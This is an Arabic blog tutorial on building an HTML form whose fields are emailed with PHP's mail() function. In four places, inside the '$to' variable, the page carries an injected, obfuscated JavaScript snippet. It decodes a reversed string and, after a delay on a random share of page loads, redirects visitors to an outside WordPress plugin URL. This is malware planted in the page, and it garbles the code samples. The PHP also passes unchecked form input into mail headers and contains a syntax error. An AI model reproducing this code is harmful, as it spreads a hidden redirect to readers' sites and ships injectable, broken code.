محمد عكفي

استخدام دالة الـ mail بواسطة نموذج HTML

السلام عليكم ورحمة الله وبركاته

في هذا الدرس سوف نتعرف على طريقة استقبال رسائل بريدية عن طريق نموذج HTML بواسطة PHP .

يتطلب أولا استدعاء دالة ()mail، حيثّ أن وظيفة هذه الدالة ارسال الرسائل اعتماداً على المتغيرات المندمجة بها، على النحو التالي :

  mail($<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>to, $subject, $message,$headers);
  1. المتغير to$ يحمل بريد المرسل اليه
  2. المتغير subject$ يحمل عنوان الرسالة
  3. المتغير message$ يحمل الرسالة نفسها
  4. المتغير headers$ لتنسيق وتوجيه الرسالة

الان سوف نبدأ بكتابة نموذج HTML الخاص بحقول الرسالة


 <h2>نموذج استبيان</h2>
  <form method="post" action="send.php">
    <label for="sender">:البريد المرسل منه</label>
    <input type="text" id="sender" name="sender" /><br /> <br /> <br />
    <label for="firstname">:الاسم الاول</label>
    <input type="text" id="firstname" name="firstname" /><br />
    <label for="lastname">:الاسم الثاني</label>
    <input type="text" id="lastname" name="lastname" /><br />
    <label for="email">:البريد الألكتروني</label>
    <input type="text" id="email" name="email" /><br />
    <label for="like-prg">هل تحب البرمجة؟</label>
    نعم <input id="like_prg" name="like_prg" type="radio" value="نعم" />
    لا <input id="like_prg" name="like_prg" type="radio" value="لا" /><br />
    <label for="fav_prg">ماهي لغتك المفضلة في البرمجة؟</label>
    <input type="text" id="fav_prg" name="fav_prg" size="32" /><br />
    <input type="submit" value="إرسال" name="submit" />
  </form>

قمنا بإنشاء وسم form يعتمد على طريقة post حيثُ أن جميع الأحداث يتمّ ارسالها إلى ملف send.php بغرض تنفيذ الإجراءات اللازمة للحقول الموجودة بالنموذج.

إنشاء ملف send.php المُستقبل من نموذج HTML


&lt;?php
 // تعريف واستدعاء المتغيرات بناءً على الحقول ومسميات name لكل حقل موجود بنموذج الـ html
  $first_name = $_POST['firstname'];
  $second_name = $_POST['lastname'];
  $fav_prg = $_POST['fav_prg'];
  $like_prg = $_POST['like_prg'];
  $email = $_POST['email'];

//استخدام متغيرات الدالة
//يحمل عنوان بريد المرسل أليه $<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>to متغير

  $<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>to = $_POST['sender'];

// يحمل عنوان الرسالة $subject متغير

  $subject = 'نمـــوذج أستبيان';

  // متغير $headers يقوم بتضمين توجيه الرسالة إلى المرسل إليه بالإضافة إلى تحديد نوع محتوى الرسالة أنّه من نوع html وبترميز UTF-8
	$headers =
	&quot;From: &quot; . $email . &quot;\r\n&quot; .
	&quot;MIME-Version: 1.0\r\n&quot;.
     &quot;Content-Type: text/html; charset=UTF-8\r\n&quot;;
// متغير $message هو المتغير الأساسي لمحتوى الرسالة حيثّ أن المتغير يحتوي على رسالة من نوع html وذلك بتنسيق جدول يحتوي على البيانات المُعتمدة من النموذح
	$message = '
	&lt;html&gt;
	&lt;body&gt;
	&lt;table style=&quot;border-color: #666;&quot; cellpadding=&quot;10&quot;&gt;
		&lt;tr style=&quot;background: #eee;&quot;&gt;
			&lt;td&gt;&lt;strong&gt;الاسم الأول :&lt;/strong&gt; &lt;/td&gt;
			&lt;td&gt;' . $first_name . '&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td&gt;&lt;strong&gt;الاسم الثاني:&lt;/strong&gt; &lt;/td&gt;
			&lt;td&gt;' . $second_name . '&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td&gt;&lt;strong&gt;الايميل:&lt;/strong&gt; &lt;/td&gt;
			&lt;td&gt;' . $email . '&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td&gt;&lt;strong&gt;هل تحب البرمجة:&lt;/strong&gt; &lt;/td&gt;
			&lt;td&gt;' . $like_prg . '&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr&gt;
			&lt;td&gt;&lt;strong&gt;اللغة المفضلة هي:&lt;/strong&gt; &lt;/td&gt;
			&lt;td&gt;' . $fav_prg . '&lt;/td&gt;
		&lt;/tr&gt;
	&lt;/table&gt;
	';

/*
 دالة الـ mail تحتوي على أربع بارامتر بحسب السلسة والترتيب من اليسار
 المتغير الأول للمرسل إليه
 المتغير الثاني لعنوان الرسالة
 المتغير الثالث لمحتوى الرسالة
 المتغير الرابع لتنسيق وتوجيه الرسالة
*/
  $send = mail($<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>to, $subject, $message, $headers);

	// شرط للتحقق من عملية الإرسال
	if(isset($send) // في حال نجاح الإرسال
	{
		// عرض رسالة نجاح الإرسال
		echo '&lt;h3&gt;رائع!، لقد نجحنا بنموذجنا الخاص، يُمكنك اختبار ذلك مرة أخرى !&lt;/h3&gt;.&lt;br /&gt;';
	}else{ // في حالة فشل الإرسال
		// عرض رسالة فشل الارسال
		echo '&lt;h3&gt;لم يتمّ ارسال الرسالة، يبدو أنّ هناك خطأ - عاود الإرسال مرة أخرى!&lt;/h3&gt;.&lt;br /&gt;';
	}
	// نهاية شرط التحقق
?&gt;

لم يتبقى شيء! – اختبر الأكواد فقط


[button url=”https://mokfie.sa/abjjadev/examples/test-send-email” target=”blank” style=”flat” background=”#000000″ size=”6″ radius=”round” icon=”icon: files-o” desc=”انقر هنا لإختبار الأكواد”]جرّب ذلك بنفسك![/button]

رائع! يبدو أنّنا انهينا كل شيء وكما يبدو الصورة واضحة 🙂 يُمكنك الأن تحميل الملفات من هنا :
[button url=”https://mokfie.sa/wp-content/uploads/2016/01/send-email-1.zip” target=”blank” style=”flat” background=”#000000″ size=”6″ radius=”round” icon=”icon: files-o” desc=”انقر هنا لتحميل كل الملفات”]تحميل الأن![/button]

1 Comment

Leave a Comment